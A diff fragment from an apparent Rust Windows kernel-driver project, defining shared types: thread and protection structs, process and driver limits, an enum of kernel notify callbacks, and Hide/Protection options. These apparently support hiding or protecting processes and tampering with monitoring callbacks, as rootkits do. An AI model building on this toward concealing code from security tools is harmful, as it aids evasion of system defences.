||||||
|
|
||||||
|
// Stores the target thread
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct TargetThread {
|
||||||
|
pub tid: usize,
|
||||||
|
pub enable: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stores thread information
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct ThreadListInfo {
|
||||||
|
pub tids: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stores the thread to be protected
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct ThreadProtection {
|
||||||
|
pub tid: usize,
|
||||||
|
pub enable: bool
|
||||||
|
}
|
||||||
16
shared/src/vars.rs
Normal file
16
shared/src/vars.rs
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
pub const MAX_PIDS: usize = 256;
|
||||||
|
pub const MAX_DRIVER: usize = 256;
|
||||||
|
pub const MAX_TIDS: usize = 256;
|
||||||
|
|
||||||
|
#[derive(Debug, Copy, Clone, PartialEq)]
|
||||||
|
pub enum Callbacks {
|
||||||
|
PsSetCreateProcessNotifyRoutine,
|
||||||
|
PsSetCreateThreadNotifyRoutine,
|
||||||
|
PsSetLoadImageNotifyRoutine
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub enum Options {
|
||||||
|
Hide,
|
||||||
|
Protection
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user